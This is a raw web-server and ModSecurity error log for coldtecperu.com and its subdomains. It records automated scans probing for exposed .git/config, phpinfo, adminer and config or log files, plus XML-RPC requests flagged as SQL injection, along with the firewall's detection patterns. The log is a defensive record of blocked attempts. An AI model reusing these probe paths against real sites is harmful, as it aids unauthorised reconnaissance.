"webmail.coldtecperu.com" 2025/11/24 08:33:41 [error] 27548#27548: *121246 access forbidden by rule, client: 3.86.214.214, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" [Mon Nov 24 11:45:14.560402 2025] [:error] [pid 27688:tid 27756] [client 177.105.82.150:56630] [client 177.105.82.150] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x164768f4de found within XML: metaWeblog.newPost12741327413title0x164768f4description0x164768f4mt_keywords0x164768f4mt_excerpt0x164768f41"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aSSLmqrLtN3Qlfy29px3QgAAAEs"] 2025/11/24 12:24:35 [error] 27549#27549: *129582 access forbidden by rule, client: 3.86.214.214, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/24 12:36:49 [error] 27549#27549: *129875 access forbidden by rule, client: 3.86.214.214, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" 2025/11/24 13:22:29 [error] 27548#27548: *131321 access forbidden by rule, client: 3.86.214.214, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "www.coldtecperu.com" [Mon Nov 24 14:27:25.062557 2025] [:error] [pid 27688:tid 27769] [client 169.150.203.200:36684] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Nov 24 17:05:59.708748 2025] [:error] [pid 27687:tid 27715] [client 85.11.167.4:43530] File does not exist: /home/coldtecp/public_html/phpinfo.php [Mon Nov 24 17:06:15.918937 2025] [:error] [pid 27965:tid 27969] [client 85.11.167.4:43550] File does not exist: /home/coldtecp/public_html/info.php [Mon Nov 24 17:06:22.136212 2025] [:error] [pid 27688:tid 27755] [client 85.11.167.4:43558] File does not exist: /home/coldtecp/public_html/php_info.php [Mon Nov 24 17:06:24.038716 2025] [:error] [pid 27688:tid 27768] [client 85.11.167.4:43562] File does not exist: /home/coldtecp/public_html/test.php [Mon Nov 24 17:06:39.783849 2025] [:error] [pid 27688:tid 27746] [client 85.11.167.4:43594] File does not exist: /home/coldtecp/public_html/index.php 2025/11/24 19:23:28 [error] 27549#27549: *140133 access forbidden by rule, client: 3.86.214.214, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/11/24 20:14:20 [error] 27548#27548: *141421 access forbidden by rule, client: 216.26.228.205, server: coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "coldtecperu.com" 2025/11/24 20:14:24 [error] 27548#27548: *141435 access forbidden by rule, client: 65.111.31.211, server: coldtecperu.com, request: "GET /.svn/wc.db HTTP/1.1", host: "coldtecperu.com" [Wed Nov 26 05:53:15.564140 2025] [:error] [pid 6431:tid 6502] [client 103.119.95.28:49590] [client 103.119.95.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xa88c0680de found within XML: metaWeblog.newPost19064490644title0xa88c0680description0xa88c0680mt_keywords0xa88c0680mt_excerpt0xa88c06801"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aSbcG0c3HcKcARhZrmngkQAAAIw"] [Wed Nov 26 08:47:05.542602 2025] [:error] [pid 6429:tid 6445] [client 35.221.59.204:58456] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Nov 26 12:52:14.216201 2025] [:error] [pid 6430:tid 6470] [client 84.233.216.142:41896] [client 84.233.216.142] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".xsd"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/vendor/phpunit/phpunit/phpunit.xsd"] [unique_id "aSc-TpIplHzQwJ_-_S9TOwAAAEY"] [Wed Nov 26 13:08:54.771400 2025] [:error] [pid 6429:tid 6448] [client 45.149.173.235:42660] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Nov 26 23:08:51.204335 2025] [:error] [pid 17153:tid 17178] [client 34.10.246.77:43112] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Nov 27 03:06:39.030687 2025] [:error] [pid 17153:tid 17166] [client 103.172.56.101:53832] [client 103.172.56.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x948a7128de found within XML: metaWeblog.newPost18040580405title0x948a7128description0x948a7128mt_keywords0x948a7128mt_excerpt0x948a71281"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aSgGj6f9zPGmfe1ZIBOFkAAAAQQ"] [Thu Nov 27 07:04:18.109982 2025] [:error] [pid 25468:tid 25477] [client 35.185.218.125:34906] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Nov 27 18:19:34.389989 2025] [:error] [pid 14826:tid 14901] [client 212.30.36.25:49022] File does not exist: /home/coldtecp/public_html/adminer.php 2025/11/27 19:50:25 [error] 14803#14803: *256569 access forbidden by rule, client: 44.204.5.6, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Thu Nov 27 19:50:32.209437 2025] [:error] [pid 14827:tid 14870] [client 44.204.5.6:52870] File does not exist: /home/coldtecp/public_html/php_info.php [Thu Nov 27 19:50:32.213628 2025] [:error] [pid 14827:tid 14883] [client 44.204.5.6:52872] File does not exist: /home/coldtecp/public_html/test.php [Thu Nov 27 19:50:34.563296 2025] [:error] [pid 14827:tid 14904] [client 44.204.5.6:52900] File does not exist: /home/coldtecp/public_html/phpinfo.php [Thu Nov 27 19:50:34.750525 2025] [:error] [pid 14826:tid 14878] [client 44.204.5.6:52902] File does not exist: /home/coldtecp/public_html/info.php 2025/11/27 19:51:33 [error] 14803#14803: *256780 access forbidden by rule, client: 35.177.99.175, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/11/27 19:53:45 [error] 14803#14803: *257061 access forbidden by rule, client: 98.93.251.167, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/11/27 19:59:27 [error] 14803#14803: *257289 access forbidden by rule, client: 54.79.232.247, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" [Fri Nov 28 00:23:08.925643 2025] [:error] [pid 14940:tid 14951] [client 117.221.10.220:43102] [client 117.221.10.220] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x4b72b285de found within XML: metaWeblog.newPost11791917919title0x4b72b285description0x4b72b285mt_keywords0x4b72b285mt_excerpt0x4b72b2851"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aSkxvKR8eYXPTDCJayX1QwAAAMk"] 2025/11/28 09:20:21 [error] 25182#25182: *285913 access forbidden by rule, client: 3.96.175.19, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Fri Nov 28 09:20:30.762525 2025] [:error] [pid 26293:tid 26306] [client 3.96.175.19:40722] File does not exist: /home/coldtecp/public_html/phpinfo.php [Fri Nov 28 09:20:30.990959 2025] [:error] [pid 32555:tid 32561] [client 3.96.175.19:40724] File does not exist: /home/coldtecp/public_html/info.php [Fri Nov 28 09:20:34.897778 2025] [:error] [pid 32555:tid 32581] [client 3.96.175.19:40876] File does not exist: /home/coldtecp/public_html/test.php [Fri Nov 28 09:20:35.604204 2025] [:error] [pid 32555:tid 32558] [client 3.96.175.19:40906] File does not exist: /home/coldtecp/public_html/php_info.php 2025/11/28 09:23:52 [error] 25183#25183: *286221 access forbidden by rule, client: 3.96.140.174, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/11/28 09:37:53 [error] 25183#25183: *286877 access forbidden by rule, client: 51.21.128.222, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" 2025/11/28 09:53:33 [error] 25182#25182: *287541 access forbidden by rule, client: 43.200.176.28, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/11/28 14:57:05 [error] 25183#25183: *294028 access forbidden by rule, client: 161.35.139.239, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/28 14:57:05 [error] 25183#25183: *294029 access forbidden by rule, client: 161.35.139.239, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/28 15:03:48 [error] 25182#25182: *294177 access forbidden by rule, client: 3.125.181.167, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/11/28 15:22:40 [error] 25183#25183: *294693 access forbidden by rule, client: 35.78.232.251, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Fri Nov 28 15:22:47.826302 2025] [:error] [pid 32555:tid 32564] [client 35.78.232.251:59584] File does not exist: /home/coldtecp/public_html/php_info.php [Fri Nov 28 15:22:50.372157 2025] [:error] [pid 32555:tid 32582] [client 35.78.232.251:59598] File does not exist: /home/coldtecp/public_html/phpinfo.php [Fri Nov 28 15:22:50.665468 2025] [:error] [pid 26293:tid 26310] [client 35.78.232.251:59600] File does not exist: /home/coldtecp/public_html/info.php [Fri Nov 28 15:22:50.881145 2025] [:error] [pid 26293:tid 26308] [client 35.78.232.251:59602] File does not exist: /home/coldtecp/public_html/test.php 2025/11/28 15:24:37 [error] 25183#25183: *294763 access forbidden by rule, client: 13.209.66.207, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/11/28 15:33:32 [error] 25183#25183: *295161 access forbidden by rule, client: 35.180.164.30, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" 2025/11/28 16:41:21 [error] 25183#25183: *296155 access forbidden by rule, client: 161.35.139.239, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/28 16:48:19 [error] 25183#25183: *296234 access forbidden by rule, client: 15.164.219.210, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" [Fri Nov 28 17:05:44.529342 2025] [:error] [pid 26293:tid 26304] [client 3.68.29.151:34240] [client 3.68.29.151] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/app.config"] [unique_id "aSocuBVi85w2-igG8w7SxQAAAMk"] [Fri Nov 28 17:05:45.363997 2025] [:error] [pid 25220:tid 25238] [client 3.68.29.151:34244] [client 3.68.29.151] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/.config"] [unique_id "aSocuY18dhdIMgZENgoZSQAAAA4"] [Fri Nov 28 17:05:50.128758 2025] [:error] [pid 32555:tid 32562] [client 3.68.29.151:34282] File does not exist: /home/coldtecp/public_html/php_info.php [Fri Nov 28 17:05:50.365986 2025] [:error] [pid 25220:tid 25235] [client 3.68.29.151:34284] File does not exist: /home/coldtecp/public_html/test.php [Fri Nov 28 17:05:50.805268 2025] [:error] [pid 26293:tid 26299] [client 3.68.29.151:34288] [client 3.68.29.151] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/error.log"] [unique_id "aSocvhVi85w2-igG8w7SxgAAAMQ"] [Fri Nov 28 17:05:50.816736 2025] [:error] [pid 26293:tid 26317] [client 3.68.29.151:34290] [client 3.68.29.151] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/php_error.log"] [unique_id "aSocvhVi85w2-igG8w7SxwAAANY"] [Fri Nov 28 17:05:53.663002 2025] [:error] [pid 32555:tid 32575] [client 3.68.29.151:34312] File does not exist: /home/coldtecp/public_html/config.php [Fri Nov 28 17:05:56.455576 2025] [:error] [pid 32555:tid 32577] [client 3.68.29.151:34338] File does not exist: /home/coldtecp/public_html/phpinfo.php [Fri Nov 28 17:05:56.775956 2025] [:error] [pid 32555:tid 32561] [client 3.68.29.151:34340] File does not exist: /home/coldtecp/public_html/debug.php [Fri Nov 28 17:05:56.779168 2025] [:error] [pid 26293:tid 26311] [client 3.68.29.151:34342] File does not exist: /home/coldtecp/public_html/info.php [Fri Nov 28 17:05:56.785734 2025] [:error] [pid 25221:tid 25277] [client 3.68.29.151:34346] [client 3.68.29.151] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/debug.log"] [unique_id "aSocxJ-Rjn-vN5QtCknztQAAAEQ"] [Fri Nov 28 17:05:58.190703 2025] [:error] [pid 32555:tid 32572] [client 3.68.29.151:34352] [client 3.68.29.151] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/web.config"] [unique_id "aSocxpR6ryKwt_TnMsdVdAAAAQ4"] [Fri Nov 28 17:05:58.584855 2025] [:error] [pid 26293:tid 26309] [client 3.68.29.151:34356] [client 3.68.29.151] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/errors.log"] [unique_id "aSocxhVi85w2-igG8w7S0QAAAM4"] 2025/11/28 17:05:58 [error] 25183#25183: *296563 access forbidden by rule, client: 3.68.29.151, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/28 17:17:24 [error] 25183#25183: *296712 access forbidden by rule, client: 3.125.113.248, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/11/28 17:24:13 [error] 25183#25183: *296916 access forbidden by rule, client: 13.38.85.157, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" [Sat Nov 29 01:20:08.888500 2025] [:error] [pid 20873:tid 20952] [client 89.187.187.69:55920] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Nov 29 18:55:38.489560 2025] [:error] [pid 26071:tid 26117] [client 203.193.144.98:35276] [client 203.193.144.98] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xe596fc62de found within XML: metaWeblog.newPost19396193961title0xe596fc62description0xe596fc62mt_keywords0xe596fc62mt_excerpt0xe596fc621"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aSuH-twtLkbwQ6OMfGTN-QAAAEw"] [Sat Nov 29 18:59:07.757699 2025] [:error] [pid 26638:tid 26645] [client 189.48.255.108:35314] [client 189.48.255.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x0d5e31ddde found within XML: metaWeblog.newPost15013250132title0x0d5e31dddescription0x0d5e31ddmt_keywords0x0d5e31ddmt_excerpt0x0d5e31dd1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aSuIy1Lod33wSgBczWXz7QAAAMU"] [Sun Nov 30 19:43:49.398758 2025] [:error] [pid 6021:tid 6027] [client 191.240.128.189:59092] [client 191.240.128.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x82611e26de found within XML: metaWeblog.newPost13844138441title0x82611e26description0x82611e26mt_keywords0x82611e26mt_excerpt0x82611e261"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aSzkxTRUBx5wvnGZzs9JCgAAAMM"] [Mon Dec 01 15:00:35.868719 2025] [:error] [pid 17994:tid 18007] [client 177.91.193.39:48864] [client 177.91.193.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x774202b4de found within XML: metaWeblog.newPost11441014410title0x774202b4description0x774202b4mt_keywords0x774202b4mt_excerpt0x774202b41"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aS3z40lF_8rXVShe5bCwRwAAAMs"] [Mon Dec 01 15:00:48.424464 2025] [:error] [pid 17696:tid 17706] [client 193.56.116.53:48880] File does not exist: /home/coldtecp/public_html/wp-login.php [Tue Dec 02 12:03:12.495173 2025] [:error] [pid 28389:tid 28412] [client 156.193.214.93:40944] [client 156.193.214.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x6465d8fdde found within XML: metaWeblog.newPost11842318423title0x6465d8fddescription0x6465d8fdmt_keywords0x6465d8fdmt_excerpt0x6465d8fd1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aS8b0NKpLUDof44exjjB0wAAAsw"] [Tue Dec 02 12:05:47.554637 2025] [:error] [pid 28389:tid 28422] 